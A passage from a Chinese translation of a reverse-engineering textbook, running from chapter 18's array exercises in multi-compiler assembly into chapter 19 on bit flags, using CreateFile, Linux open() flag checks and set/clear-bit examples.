BLT |L0.6| ADD sp,sp,#0x14 POP {r4-r7,pc} 指令清单 18.41 Non-optimizing GCC 4.9 (ARM64) s: sub sp, sp, #48 str x0, [sp,24] str x1, [sp,16] str x2, [sp,8] str wzr, [sp,44] b .L2 .L5: str wzr, [sp,40] b .L3 .L4: ldr w1, [sp,44] mov w0, 100 mul w0, w1, w0 sxtw x1, w0 ldrsw x0, [sp,40] add x0, x1, x0 lsl x0, x0, 3 ldr x1, [sp,8] add x0, x1, x0 ldr w2, [sp,44] mov w1, 100 mul w1, w2, w1 sxtw x2, w1 ldrsw x1, [sp,40] add x1, x2, x1 lsl x1, x1, 3 ldr x2, [sp,24] add x1, x2, x1 ldr x2, [x1] ldr w3, [sp,44] mov w1, 100 mul w1, w3, w1 sxtw x3, w1 ldrsw x1, [sp,40] add x1, x3, x1 lsl x1, x1, 3 ldr x3, [sp,16] add x1, x3, x1 ldr x1, [x1] fmov d0, x2 fmov d1, x1 fadd d0, d0, d1 fmov x1, d0 str x1, [x0] ldr w0, [sp,40] add w0, w0, 1 str w0, [sp,40] .L3: ldr w0, [sp, 40] cmp w0, 99 ble .L4 ldr w0, [sp,44] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 258 逆向工程权威指南(上册) add w0, w0, 1 str w0, [sp,44] .L2: ldr w0, [sp,44] cmp w0, 199 ble .L5 add sp, sp, 48 ret 指令清单 18.42 Optimizing GCC 4.4.5 (MIPS) (IDA) sub_0: li $t3, 0x27100 move $t2, $zero li $t1, 0x64 # 'd' loc_10: # CODE XREF: sub_0+54 addu $t0, $a1, $t2 addu $a3, $a2, $t2 move $v1, $a0 move $v0, $zero loc_20: # CODE XREF: sub_0+48 lwc1 $f2, 4($v1) lwc1 $f0, 4($t0) lwc1 $f3, 0($v1) lwc1 $f1, 0($t0) addiu $v0, 1 add.d $f0, $f2, $f0 addiu $v1, 8 swc1 $f0, 4($a3) swc1 $f1, 0($a3) addiu $t0, 8 bne $v0, $t1, loc_20 addiu $a3, 8 addiu $t2, 0x320 bne $t2, $t3, loc_10 addiu $a0, 0x320 jr $ra or $at, $zero 18.9.2 题目 2 请描述下述程序的功能。 通过 MSVC 2010 (启用 /O1 选项)编译而得的代码如下所示。 指令清单 18.43 MSVC 2010 + /O1 tv315 = -8 ; size = 4 tv291 = -4 ; size = 4 _a$ = 8 ; size = 4 _b$ = 12 ; size = 4 _c$ = 16 ; size = 4 ?m@@YAXPAN00@Z PROC; m, COMDAT push ebp mov ebp, esp push ecx push ecx mov edx, DWORD PTR _a$[ebp] push ebx mov ebx, DWORD PTR _c$[ebp] push esi mov esi, DWORD PTR _b$[ebp] sub edx, esi 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 259 push edi sub esi, ebx mov DWORD PTR tv315[ebp], 100 ; 00000064H $LL9@m: mov eax, ebx mov DWORD PTR tv291[ebp], 300 ; 0000012cH $LL6@m: fldz lea ecx, DWORD PTR [esi+eax] fstp QWORD PTR [eax] mov edi, 200 ; 000000c8H $LL3@m: dec edi fld QWORD PTR [ecx+edx] fmul QWORD PTR [ecx] fadd QWORD PTR [eax] fstp QWORD PTR [eax] jne HORT $LL3@m add eax, 8 dec DWORD PTR tv291[ebp] jne SHORT $LL6@m add ebx, 800 ; 00000320H dec DWORD PTR tv315[ebp] jne SHORT $LL9@m pop edi pop esi pop ebx leave ret 0 ?m@@YAXPAN00@Z ENDP ; m 指令清单 18.44 Optimizing Keil 6/2013 (ARM mode) PUSH {r0-r2,r4-r11,lr} SUB sp,sp,#8 MOV r5,#0 |L0.12| LDR r1,[sp,#0xc] ADD r0,r5,r5,LSL #3 ADD r0,r0,r5,LSL #4 ADD r1,r1,r0,LSL #5 STR r1,[sp,#0] LDR r1,[sp,#8] MOV r4,#0 ADD r11,r1,r0,LSL #5 LDR r1,[sp,#0x10] ADD r10,r1,r0,LSL #5 |L0.52| MOV r0,#0 MOV r1,r0 ADD r7,r10,r4,LSL #3 STM r7,{r0,r1} MOV r6,r0 LDR r0,[sp,#0] ADD r8,r11,r4,LSL #3 ADD r9,r0,r4,LSL #3 |L0.84| LDM r9,{r2,r3} LDM r8,{r0,r1} BL __aeabi_dmul LDM r7,{r2,r3} BL __aeabi_dadd ADD r6,r6,#1 STM r7,{r0,r1} CMP r6,#0xc8 BLT |L0.84| 异步社区会员 dearfuture(15918834820) 专享 尊重版权 260 逆向工程权威指南(上册) ADD r4,r4,#1 CMP r4,#0x12c BLT |L0.52| ADD r5,r5,#1 CMP r5,#0x64 BLT |L0.12| ADD sp,sp,#0x14 POP {r4-r11,pc} 指令清单 18.45 Optimizing Keil 6/2013 (Thumb mode) PUSH {r0-r2,r4-r7,lr} MOVS r0,#0 SUB sp,sp,#0x10 STR r0,[sp,#0] |L0.8| MOVS r1,#0x19 LSLS r1,r1,#5 MULS r0,r1,r0 LDR r2,[sp,#0x10] LDR r1,[sp,#0x14] ADDS r2,r0,r2 STR r2,[sp,#4] LDR r2,[sp,#0x18] MOVS r5,#0 ADDS r7,r0,r2 ADDS r0,r0,r STR r0,[sp,#8] |L0.32| LSLS r4,r5,#3 MOVS r0,#0 ADDS r2,r7,r4 STR r0,[r2,#0] MOVS r6,r0 STR r0,[r2,#4] |L0.44| LDR r0,[sp,#8] ADDS r0,r0,r4 LDM r0!,{r2,r3} LDR r0,[sp,#4] ADDS r1,r0,r4 LDM r1,{r0,r1} BL __aeabi_dmul ADDS r3,r7,r4 LDM r3,{r2,r3} BL __aeabi_dadd ADDS r2,r7,r4 ADDS r6,r6,#1 STM r2!,{r0,r1} CMP r6,#0xc8 BLT |L0.44| MOVS r0,#0xff ADDS r5,r5,#1 ADDS r0,r0,#0x2d CMP r5,r0 BLT |L0.32| LDR r0,[sp,#0] ADDS r0,r0,#1 CMP r0,#0x64 STR r0,[sp,#0] BLT |L0.8| ADD sp,sp,#0x1c POP {r4-r7,pc} 指令清单 18.46 Non-optimizing GCC 4.9 (ARM64) m: sub sp, sp, #48 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 261 str x0, [sp,24] str x1, [sp,16] str x2, [sp,8] str wzr, [sp,44] b .L2 .L7: str wzr, [sp,40] b .L3 .L6: ldr w1, [sp,44] mov w0, 100 mul w0, w1, w0 sxtw x1, w0 ldrsw x0, [sp,40] add x0, x1, x0 lsl x0, x0, 3 ldr x1, [sp,8] add x0, x1, x0 ldr x1, .LC0 str x1, [x0] str wzr, [sp,36] b .L4 .L5: ldr w1, [sp,44] mov w0, 100 mul w0, w1, w0 sxtw x1, w0 ldrsw x0, [sp,40] add x0, x1, x0 lsl x0, x0, 3 ldr x1, [sp,8] add x0, x1, x0 ldr w2, [sp,44] mov w1, 100 mul w1, w2, w1 sxtw x2, w1 ldrsw x1, [sp,40] add x1, x2, x1 lsl x1, x1, 3 ldr x2, [sp,8] add x1, x2, x1 ldr x2, [x1] ldr w3, [sp,44] mov w1, 100 mul w1, w3, w1 sxtw x3, w1 ldrsw x1, [sp,40] add x1, x3, x1 lsl x1, x1, 3 ldr x3, [sp,24] add x1, x3, x1 ldr x3, [x1] ldr w4, [sp,44] mov w1, 100 mul w1, w4, w1 sxtw x4, w1 ldrsw x1, [sp,40] add x1, x4, x1 lsl x1, x1, 3 ldr x4, [sp,16] add x1, x4, x1 ldr x1, [x1] fmov d0, x3 fmov d1, x1 fmul d0, d0, d1 fmov x1, d0 fmov d0, x2 异步社区会员 dearfuture(15918834820) 专享 尊重版权 262 逆向工程权威指南(上册) fmov d1, x1 fadd d0, d0, d1 fmov x1, d0 str x1, [x0] ldr w0, [sp,36] add w0, w0, 1 str w0, [sp,36] .L4: ldr w0, [sp, 36] cmp w0, 199 ble .L5 ldr w0, [sp,40] add w0, w0, 1 str w0, [sp,40] .L3: ldr w0, [sp,40] cmp w0, 299 ble .L6 ldr w0, [sp,44] add w0, w0, 1 str w0, [sp,44] .L2: ldr w0, [sp,44] cmp w0, 99 ble .L7 add sp, sp, 48 ret 指令清单 18.47 Optimizing GCC 4.4.5 (MIPS) (IDA) m: li $t5, 0x13880 move $t4, $zero li $t1, 0xC8 li $t3, 0x12C loc_14: # CODE XREF: m+7C addu $t0, $a0, $t4 addu $a3, $a1, $t4 move $v1, $a2 move $t2, $zero loc_24: # CODE XREF: m+70 mtc1 $zero, $f0 move $v0, $zero mtc1 $zero, $f1 or $at, $zero swc1 $f0, 4($v1) swc1 $f1, 0($v1) loc_3C: # CODE XREF: m+5C lwc1 $f4, 4($t0) lwc1 $f2, 4($a3) lwc1 $f5, 0($t0) lwc1 $f3, 0($a3) addiu $v0, 1 mul.d $f2, $f4, $f2 add.d $f0, $f2 swc1 $f0, 4($v1) bne $v0, $t1, loc_3C swc1 $f1, 0($v1) addiu $t2, 1 addiu $v1, 8 addiu $t0, 8 bne $t2, $t3, loc_24 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 263 addiu $a3, 8 addiu $t4, 0x320 bne $t4, $t5, loc_14 addiu $a2, 0x320 jr $ra or $at, $zero 18.9.3 题目 3 请描述下列代码的作用。 通过 MSVC 2010(启用/Ox 选项)编译而得的代码如下所示。 指令清单 18.48 Optimizing MSVC 2010 _array$ = 8 _x$ = 12 _y$ = 16 _f PROC mov eax, DWORD PTR _x$[esp-4] mov edx, DWORD PTR _y$[esp-4] mov ecx, eax shl ecx, 4 sub ecx, eax lea eax, DWORD PTR [edx+ecx*8] mov ecx, DWORD PTR _array$[esp-4] fld QWORD PTR [ecx+eax*8] ret 0 _f ENDP 指令清单 18.49 Non-optimizing Keil 6/2013 (ARM mode) f PROC RSB r1,r1,r1,LSL #4 ADD r0,r0,r1,LSL #6 ADD r1,r0,r2,LSL #3 LDM r1,{r0,r1} BX lr ENDP 指令清单 18.50 Non-optimizing Keil 6/2013 (Thumb mode) f PROC MOVS r3,#0xf LSLS r3,r3,#6 MULS r1,r3,r1 ADDS r0,r1,r0 LSLS r1,r2,#3 ADDS r1,r0,r1 LDM r1,{r0,r1} BX lr ENDP 指令清单 18.51 Optimizing GCC 4.9 (ARM64) f: sxtw x1, w1 add x0, x0, x2, sxtw 3 lsl x2, x1, 10 sub x1, x2, x1, lsl 6 ldr d0, [x0,x1] ret 异步社区会员 dearfuture(15918834820) 专享 尊重版权 264 逆向工程权威指南(上册) 指令清单 18.52 Optimizing GCC 4.4.5 (MIPS) (IDA) f: sll $v0, $a1, 10 sll $a1, 6 subu $a1, $v0, $a1 addu $a1, $a0, $a1 sll $a2, 3 addu $a1, $a2 lwc1 $f0, 4($a1) or $at, $zero lwc1 $f1, 0($a1) jr $ra or $at, $zero 18.9.4 题目 4 请描述下列代码的作用。 请判断数组的维度。 指令清单 18.53 Optimizing MSVC 2010 _array$ = 8 _x$ = 12 _y$ = 16 _z$ = 20 _f PROC mov eax, DWORD PTR _x$[esp-4] mov edx, DWORD PTR _y$[esp-4] mov ecx, eax shl ecx, 4 sub ecx, eax lea eax, DWORD PTR [edx+ecx*4] mov ecx, DWORD PTR _array$[esp-4] lea eax, DWORD PTR [eax+eax*4] shl eax, 4 add eax, DWORD PTR _z$[esp-4] mov eax, DWORD PTR [ecx+eax*4] ret 0 _f ENDP 指令清单 18.54 Non-optimizing Keil 6/2013 (ARM mode) f PROC RSB r1,r1,r1,LSL #4 ADD r1,r1,r1,LSL #2 ADD r0,r0,r1,LSL #8 ADD r1,r2,r2,LSL #2 ADD r0,r0,r1,LSL #6 LDR r0,[r0,r3,LSL #2] BX lr ENDP 指令清单 18.55 Non-optimizing Keil 6/2013 (Thumb mode) f PROC PUSH {r4,lr} MOVS r4,#0x4b LSLS r4,r4,#8 MULS r1,r4,r1 ADDS r0,r1,r0 MOVS r1,#0xff ADDS r1,r1,#0x41 MULS r2,r1,r2 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 265 ADDS r0,r0,r2 LSLS r1,r3,#2 LDR r0,[r0,r1] POP {r4,pc} ENDP 指令清单 18.56 Optimizing GCC 4.9 (ARM64) f: sxtw x2, w2 mov w4, 19200 add x2, x2, x2, lsl 2 smull x1, w1, w4 lsl x2, x2, 4 add x3, x2, x3, sxtw add x0, x0, x3, lsl 2 ldr w0, [x0,x1] ret 指令清单 18.57 Optimizing GCC 4.4.5 (MIPS) (IDA) f: sll $v0, $a1, 10 sll $a1, 8 addu $a1, $v0 sll $v0, $a2, 6 sll $a2, 4 addu $a2, $v0 sll $v0, $a1, 4 subu $a1, $v0, $a1 addu $a2, $a3 addu $a1, $a0, $a1 sll $a2, 2 addu $a1, $a2 lw $v0, 0($a1) jr $ra or $at, $zero 18.9.5 题目 5 请描述下列代码的作用。 指令清单 18.58 Optimizing MSVC 2012 /GS- COMM _tbl:DWORD:064H tv759 = -4 ;size= 4 _main PROC push ecx push ebx push ebp push esi xor edx, edx push edi xor esi, esi xor edi, edi xor ebx, ebx xor ebp, ebp mov DWORD PTR tv759[esp+20], edx mov eax, OFFSET _tbl+4 npad 8 ; align next label $LL6@main: lea ecx, DWORD PTR [edx+edx] mov DWORD PTR [eax+4], ecx mov ecx, DWORD PTR tv759[esp+20] add DWORD PTR tv759[esp+20], 3 异步社区会员 dearfuture(15918834820) 专享 尊重版权 266 逆向工程权威指南(上册) mov DWORD PTR [eax+8], ecx lea ecx, DWORD PTR [edx*4] mov DWORD PTR [eax+12], ecx lea ecx, DWORD PTR [edx*8] mov DWORD PTR [eax], edx mov DWORD PTR [eax+16], ebp mov DWORD PTR [eax+20], ebx mov DWORD PTR [eax+24], edi mov DWORD PTR [eax+32], esi mov DWORD PTR [eax-4], 0 mov DWORD PTR [eax+28], ecx add eax, 40 inc edx add ebp, 5 add ebx, 6 add edi, 7 add esi, 9 cmp eax, OFFSET _tbl+404 jl SHORT $LL6@main pop edi pop esi pop ebp xor eax, eax pop ebx pop ecx ret 0 _main ENDP 指令清单 18.59 Non-optimizing Keil 6/2013 (ARM mode) main PROC LDR r12,|L0.60| MOV r1,#0 |L0.8| ADD r2,r1,r1,LSL #2 MOV r0,#0 ADD r2,r12,r2,LSL #3 |L0.20| MUL r3,r1,r0 STR r3,[r2,r0,LSL #2] ADD r0,r0,#1 CMP r0,#0xa BLT |L0.20| ADD r1,r1,#1 CMP r1,#0xa MOVGE r0,#0 BLT |L0.8| BX lr ENDP |L0.60| DCD ||.bss|| AREA ||.bss||, DATA, NOINIT, ALIGN=2 tbl % 400 指令清单 18.60 Non-optimizing Keil 6/2013 (Thumb mode) main PROC PUSH {r4,r5,lr} LDR r4,|L0.40| MOVS r1,#0 |L0.6| MOVS r2,#0x28 MULS r2,r1,r2 MOVS r0,#0 ADDS r3,r2,r4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 267 |L0.14| MOVS r2,r1 MULS r2,r0,r2 LSLS r5,r0,#2 ADDS r0,r0,#1 CMP r0,#0xa STR r2,[r3,r5] BLT |L0.14| ADDS r1,r1,#1 CMP r1,#0xa BLT |L0.6| MOVS r0,#0 POP {r4,r5,pc} ENDP DCW 0x0000 |L0.40| DCD ||.bss|| AREA ||.bss||, DATA, NOINIT, ALIGN=2 tbl % 400 指令清单 18.61 Non-optimizing GCC 4.9 (ARM64) .comm tbl,400,8 main: sub sp, sp, #16 str wzr, [sp,12] b .L2 .L5: str wzr, [sp,8] b .L3 .L4: ldr w1, [sp,12] ldr w0, [sp,8] mul w3, w1, w0 adrp x0, tbl add x2, x0, :lo12:tbl ldrsw x4, [sp,8] ldrsw x1, [sp,12] mov x0, x1 lsl x0, x0, 2 add x0, x0, x1 lsl x0, x0, 1 add x0, x0, x4 str w3, [x2,x0,lsl 2] ldr w0, [sp,8] add w0, w0, 1 str w0, [sp,8] .L3: ldr w0, [sp,8] cmp w0, 9 ble .L4 ldr w0, [sp,12] add w0, w0, 1 str w0, [sp,12] .L2: ldr w0, [sp,12] cmp w0, 9 ble .L5 mov w0, 0 add sp, sp, 16 ret 异步社区会员 dearfuture(15918834820) 专享 尊重版权 268 逆向工程权威指南(上册) 指令清单 18.62 Non-optimizing GCC 4.4.5 (MIPS) (IDA) main: var_18 = -0x18 var_10 = -0x10 var_C = -0xC var_4 = -4 addiu $sp, -0x18 sw $fp, 0x18+var_4($sp) move $fp, $sp la $gp, __gnu_local_gp sw $gp, 0x18+var_18($sp) sw $zero, 0x18+var_C($fp) b loc_A0 or $at, $zero loc_24: # CODE XREF: main+AC sw $zero, 0x18+var_10($fp) b loc_7C or $at, $zero loc_30: # CODE XREF: main+88 lw $v0, 0x18+var_C($fp) lw $a0, 0x18+var_10($fp) lw $a1, 0x18+var_C($fp) lw $v1, 0x18+var_10($fp) or $at, $zero mult $a1, $v1 mflo $a2 lw $v1, (tbl & 0xFFFF)($gp) sll $v0, 1 sll $a1, $v0, 2 addu $v0, $a1 addu $v0, $a0 sll $v0, 2 addu $v0, $v1, $v0 sw $a2, 0($v0) lw $v0, 0x18+var_10($fp) or $at, $zero addiu $v0, 1 sw $v0, 0x18+var_10($fp) loc_7C: # CODE XREF: main+28 lw $v0, 0x18+var_10($fp) or $at, $zero slti $v0, 0xA bnez $v0, loc_30 or $at, $zero lw $v0, 0x18+var_C($fp) or $at, $zero addiu $v0, 1 sw $v0, 0x18+var_C($fp) loc_A0: # CODE XREF: main+1C lw $v0, 0x18+var_C($fp) or $at, $zero slti $v0, 0xA bnez $v0, loc_24 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 269 or $at, $zero move $v0, $zero move $sp, $fp lw $fp, 0x18+var_4($sp) addiu $sp, 0x18 jr $ra or $at, $zero .comm tbl:0x64 # DATA XREF: main+4C 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 1199 章 章 位 位 操 操 作 作 有很多程序都把输入参数的某些比特位当作标识位处理。在表面看来,使用布尔变量足以替代标志位 寄存器,但是这种替代的做法并不理智。 19.1 特定位 19.1.1 x86 Win32 的 API 中有这么一段接口声明: HANDLE fh; fh=CreateFile ("file", GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS , FILE_ATTRIBUTE_NORMAL, NULL); 经过 MSVC 2010 编译,可得到如下所示的指令。 指令清单 19.1 MSVC 2010 push 0 push 128 ; 00000080H push 4 push 0 push 1 push -1073741824 ; c0000000H push OFFSET $SG78813 call DWORD PTR __imp__CreateFileA@28 mov DWORD PTR _fh$[ebp], eax 库文件 WinNT.h 对有关常量的相关位域进行了定义。 指令清单 19.2 WinNT.h #define GENERIC_READ (0x80000000L) #define GENERIC_WRITE (0x40000000L) #define GENERIC_EXECUTE (0x20000000L) #define GENERIC_ALL (0x10000000L) 毫无疑问,在 API 声明里,CreatFile()函数的第二个参数为“GENERIC_READ | GENERIC_WRITE” = 0x80000000 | 0x40000000 = 0xC0000000。 CreatFile()函数如何检测标志位呢? 我们可以在 Windows XP SP3 x86 的 KERNEL32.DLL 中,找到 CreateFileW()函数的相关代码。 指令清单 19.3 KERNEL32.DLL (Windows XP SP3 x86) .text:7C83D429 test byte ptr [ebp+dwDesiredAccess+3], 40h .text:7C83D42 Dmov [ebp+var_8], 1 .text:7C83D434 jz short loc_7C83D417 .text:7C83D436 jmp loc_7C810817 比较讲究的是 TEST 指令。在这里,它没有整个使用第二个参数,而是仅仅拿它数权最高的头一个字 节(ebp+dwDesiredAccess+3)和 0x40(对应 GENERIC_WRITE 标志)进行与运算。 TEST 与 AND 指令的唯一区别是前者不保存运算结果,CMP 指令和 SUB 指令之间也存在这种差别(请 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 271 参见本书 7.3.1 节)。 即,上述可执行的程序源代码逻辑是: if ((dwDesiredAccess&0x40000000) == 0) goto loc_7C83D417 如果此处的与运算(&)的结果是 1,则会清零 ZF 标志位,而不会触发 JZ 跳转。只有在 dwDesiredAccess 变量与 0x40000000 的计算结果为 0 的情况下,条件转移指令才会被触发;即与运算(&)的结果是零、ZF 标志位为 1,从而触发条件转移指令。 如果使用 Linux 的 GCC 4.4.1 编译下面的代码: #include <stdio.h> #include <fcntl.h> void main() { int handle; handle=open ("file", O_RDWR | O_CREAT); }; 得到的汇编指令会如下所示。 指令清单 19.4 GCC 4.4.1 public main main proc near var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 20h mov [esp+20h+var_1C], 42h mov [esp+20h+var_20], offset aFile ; "file" call _open mov [esp+20h+var_4], eax leave retn main endp 在库文件 libc.so.6 里,open()函数只是调用 syscall 而已。 指令清单 19.5 open() (libc.so.6) .text:000BE69B mov edx, [esp+4+mode] ; mode .text:000BE69F mov ecx, [esp+4+flags] ; flags .text:000BE6A3 mov ebx, [esp+4+filename] ; filename .text:000BE6A7 mov eax, 5 .text:000BE6AC int 80h ; LINUX - sys_open 可见,在执行 Open()函数时,Linux 内核会检测某些标识位。 当然,我们可以下载 Glibc 和 Linux 内核源代码来一窥究竟。但是本文旨在粗略地介绍原理,就不逐 行地解释代码了。 在 Linux 2.6 中,当程序通过 syscall 调用 sys_open 的时候,它调用的函数实际上是内核函数 do_sys_open()。 在执行函数 do_sys_open()的时候,系统又会调用 do_filp_open() 函数。有兴趣的读者,可以在 Linux 内核 源代码里的 fs/namei.c 里找到这部分内容。 编译器不仅会使用栈来传递参数,它还会使用寄存器传递部分参数。编译器最常采用的函数调用约定 是fastcall(参见 6.4.3 节)。这个规范优先使用寄存器来传递参数。这使得CPU不必每次都要访问内存里的 异步社区会员 dearfuture(15918834820) 专享 尊重版权 272 逆向工程权威指南(上册) 数据栈,大大提升了程序的运行效率。此外,我们可以通过GCC的regparm选项 ① 在Linux 2.6 内核的编译选项中,设定了寄存器选项“-mregparm=3”。 ,设置传递参数的寄存器 数量。 ② 19.1.2 ARM 这个选项决定,编译器首先通过 EAX、EDX 和 ECX 寄存器传递函数所需的头 3 个参数,再通过栈传 递其余的参数。当然,如果参数的总数不足 3 个,它只会用到部分寄存器。 在 Ubuntu 里下载 Linux Kernel 2.6.31,并用“make vmlinux”指令编译,然后使用 IDA 打开程序,寻 找函数 do_filp_open()。这个函数的开头部分大体是这样的。 指令清单 19.6 do_filp_open() (Linux kernel 2.6.31) do_filp_open proc near ...... push ebp mov ebp, esp push edi push esi push ebx mov ebx, ecx add ebx, 1 sub esp, 98h mov esi, [ebp+arg_4] ; acc_mode (5th arg) test bl, 3 mov [ebp+var_80], eax ; dfd (1th arg) mov [ebp+var_7C], edx ; pathname (2th arg) mov [ebp+var_78], ecx ; open_flag (3th arg) jnz short loc_C01EF684 mov ebx, ecx ; ebx <- open_flag 函数序言部分,GCC 就把 3 个寄存器里的参数值存储在栈里。若非如此,那么后续程序可能出现寄 存器不够使用的资源紧张问题。 我们再来看下 do_filp_open()函数的另外一段代码。 指令清单 19.7 do_filp_open() (Linux kernel 2.6.31) loc_C01EF6B4: ; CODE XREF: do_filp_open+4F test bl, 40h ; O_CREAT jnz loc_C01EF810 mov edi, ebx shr edi, 11h xor edi, 1 and edi, 1 test ebx, 10000h jz short loc_C01EF6D3 or edi, 2 汇编宏 O_CREAT 的值就是 0x40h。TEST 指令检查 open_flag 里是否存在 0x40 的标志位,如果这个位 是 1,则会触发下一条 JNZ 指令。 在 Linux Kernel 3.8.0 平台的系统里,O_CREAT 的检查操作有所不同。 指令清单 19.8 Linux kernel 3.8.0 struct file *do_filp_open(int dfd, struct filename *pathname, const struct open_flags *op) ① http://ohse.de/uwe/articles/gcc-attributes.html#func-regparm。 ② 参见:http://kernelnewbies.org/Linux_2_6_20#head- 042c62f290834eb1fe0a1942bbf5bb9a4accbc8f 以及源代码文件。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 273 { ... filp = path_openat(dfd, pathname, &nd, op, flags | LOOKUP_RCU); ... } static struct file *path_openat(int dfd, struct filename *pathname, struct nameidata *nd, const struct open_flags *op, int flags) { ... error = do_last(nd, &path, file, op, &opened, pathname); ... } static int do_last(struct nameidata *nd, struct path *path, struct file *file, const struct open_flags *op, int *opened, struct filename *name) { ... if (!(open_flag & O_CREAT)) { ... error = lookup_fast(nd, path, &inode); ... } else { ... error = complete_walk(nd); } ... } 使用 IDA 打开 ARM 模式的内核程序,可以看到 do_last()函数的代码如下所示。 指令清单 19.9 do_last() (vmlinux) ... .text:C0169EA8 MOV R9, R3 ; R3 - (4th argument) open_flag ... .text:C0169ED4 LDR R6, [R9] ; R6 - open_flag ... .text:C0169F68 TST R6, #0x40 ; jumptable C0169F00 default case .text:C0169F6C BNE loc_C016A128 .text:C0169F70 LDR R2, [R4,#0x10] .text:C0169F74 ADD R12, R4, #8 .text:C0169F78 LDR R3, [R4,#0xC] .text:C0169F7C MOV R0, R4 .text:C0169F80 STR R12, [R11,#var_50] .text:C0169F84 LDRB R3, [R2,R3] .text:C0169F88 MOV R2, R8 .text:C0169F8C CMP R3, #0 .text:C0169F90 ORRNE R1, R1, #3 .text:C0169F94 STRNE R1, [R4,#0x24] .text:C0169F98 ANDS R3, R6, #0x200000 .text:C0169F9C MOV R1, R12 .text:C0169FA0 LDRNE R3, [R4,#0x24] .text:C0169FA4 ANDNE R3, R3, #1 .text:C0169FA8 EORNE R3, R3, #1 .text:C0169FAC STR R3, [R11,#var_54] .text:C0169FB0 SUB R3, R11, #-var_38 .text:C0169FB4 BL lookup_fast ... .text:C016A128 loc_C016A128 ; CODE XREF: do_last.isra.14+DC .text:C016A128 MOV R0, R4 .text:C016A12C BL complete_walk ... TST 指令的功能与 x86 平台的 TEST 指令相同。 显而易见,程序在某一条件下会调用 lookup_fast()函数,而在另一条件下会调用 complete_walk()函数。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 274 逆向工程权威指南(上册) 这种行为符合 do_last()函数的源代码。 这里的汇编宏 O_CREAT 也等于 0x40。 19.2 设置/清除特定位 本节将会围绕下面这个程序进行讨论: #include <stdio.h> #define IS_SET(flag, bit) ((flag) & (bit)) #define SET_BIT(var, bit) ((var) |= (bit)) #define REMOVE_BIT(var, bit) ((var) &= ~(bit)) int f(int a) { int rt=a; SET_BIT (rt, 0x4000); REMOVE_BIT (rt, 0x200); return rt; }; int main() { f(0x12340678); }; 19.2.1 x86 Non-optimizing MSVC 经过 MSVC 2010(未启用任何优化选项)编译上述程序,可得到如下所示的指令。 指令清单 19.10 MSVC 2010 _rt$ = -4 ; size = 4 _a$ = 8 ; size = 4 _f PROC push ebp mov ebp, esp push ecx mov eax, DWORD PTR _a$[ebp] mov DWORD PTR _rt$[ebp], eax mov ecx, DWORD PTR _rt$[ebp] or ecx, 16384 ; 00004000H mov DWORD PTR _rt$[ebp], ecx mov edx, DWORD PTR _rt$[ebp] and edx, -513 ; fffffdffH mov DWORD PTR _rt$[ebp], edx mov eax, DWORD PTR _rt$[ebp] mov esp, ebp pop ebp ret 0 _f ENDP OR 指令就是逐位进行或运算的指令,可用来将指定位置 1。 AND 指令的作用是重置 bit 位。效果上说,如果立即数的某个 bit 位为 1,AND 指令则会保留寄存器 里的这个 bit 位;如果立即数的某个 bit 位为 0,AND 指令就会把寄存器里这个 bit 的值设置为 0。按照 bit 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 275 位掩码(bitmask)的方式理解,就会非常容易地记住这些指令的作用。 OllyDbg 用 OllyDbg 打开这个程序,可以清楚地看到常量的各个位: 0x200 的二进制数是 00000000000000000001000000000,第 10 位是 1。 0x200 的逻辑非运算结果是 0xFFFFFDFF(11111111111111111110111111111)。 0x4000 的第 15 位是 1。 如图 19.1 所示,输入变量为 0x12340678 (10010001101000000011001111000)。 图 19.1 OllyDbg:ECX 寄存器载入输入变量 执行 OR 指令的情形如图 19.2 所示。 图 19.2 OllyDbg:执行 OR 指令 在执行 OR 指令的时候,第 15 位被设为 1。 因为没有进行优化编译,所以程序中有些无用指令。如图 19.3 所示,它又加载了一次这个值。 图 19.3 OllyDbg:EDX 寄存器再次加载运算结果 然后进行了 AND 与操作,如图 19.4 所示。 这时寄存器的第 10 位被清零。换句话说,第 10 位之外的所有位都被保留了。最终运算结果是 0x12344478,即二进制的 10010001101000100010001111000。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 276 逆向工程权威指南(上册) 图 19.4 OllyDbg:执行与操作 Optimizing MSVC 如果开启了 MSVC 的优化选项/Ox,生成的代码就会精简很多。 指令清单 19.11 Optimizing MSVC _a$ = 8 ; size = 4 _f PROC mov eax, DWORD PTR _a$[esp-4] and eax, -513 ; fffffdffH or eax, 16384 ; 00004000H ret 0 _f ENDP Non-optimizing GCC 如果关闭 GCC 4.4.1 的优化选项,则会生成下列代码。 指令清单 19.12 Non-optimizing GCC public f f proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] mov [ebp+var_4], eax or [ebp+var_4], 4000h and [ebp+var_4], 0FFFFFDFFh mov eax, [ebp+var_4] leave retn f endp 虽然 GCC 的非优化编译结果中存在冗余指令,但是这个程序仍然比 MSVC 的非优化编译程序要短。 接下来启用 GCC 的-O3 选项进行优化编译。 Optimizing GCC 指令清单 19.13 Optimizing GCC public f f proc near arg_0 = dword ptr 8 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 19 章 位 操 作 277 push ebp mov ebp, esp mov eax, [ebp+arg_0] pop ebp or ah, 40h and ah, 0FDh retn f endp 它比 MSVC 优化编译生成的程序还要短。值得注意的是,它直接使用了 EAX 寄存器的部分空间——EAX 寄存器的第 8 到第 15 位(第 1 个字节),即 AH 寄存器。 7th (字节数) 6th 5th 4th 3rd 2nd 1st 0th RAXx64 EAX AX AH AL 在早期的 16 位 8086 CPU 里,AX 寄存器分为 2 个 8 位寄存器——即 AL/AH 寄存器。而 80386 